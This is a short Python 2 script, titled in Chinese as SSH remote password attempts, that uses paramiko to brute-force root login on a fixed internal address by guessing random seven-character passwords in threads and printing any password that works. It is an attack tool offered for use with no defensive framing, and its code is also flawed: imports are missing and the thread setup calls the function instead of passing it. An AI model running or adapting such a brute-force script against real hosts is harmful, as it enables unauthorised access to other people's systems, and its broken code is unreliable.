SSH远程登录密码尝试

 import threading

 #创建一个登陆日志，记录登陆信息
 paramiko.util.log_to_file('paramiko.log')
 client = paramiko.SSHClient()
 #允许连接不在know-hosts文件中的主机
 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

 def ssh(client ,user, passwd):
     client.connect('192.168.1.200', 22, username=user, password=passwd, timeout=1)
     return client

 #python3中为string.ascii_letters,而python2下则可以使用string.letters和string.ascii_letters
 #生成随机密码，length为密码长度，包含数字，字母
 def GenPassword(length=8,chars=string.ascii_letters+string.digits):
     return ''.join([choice(chars) for i in range(length)])

 def passwd(client):
     while True:
         time.sleep(1)
         ps = GenPassword(7)
         #ps = 'magicud'
         try:
             if ssh(client , 'root', ps):
                 stdin, stdout, stderr = client.exec_command('hostname')
                 # 输出命令返回的结果
                 #print stdout.readlines()
                 print ps
                 client.close()
                 exit(0)
         except Exception,e:
             print e

 if __name__=="__main__":
     for i in range(10):
         t = threading.Thread(target=passwd(client))
         t.start()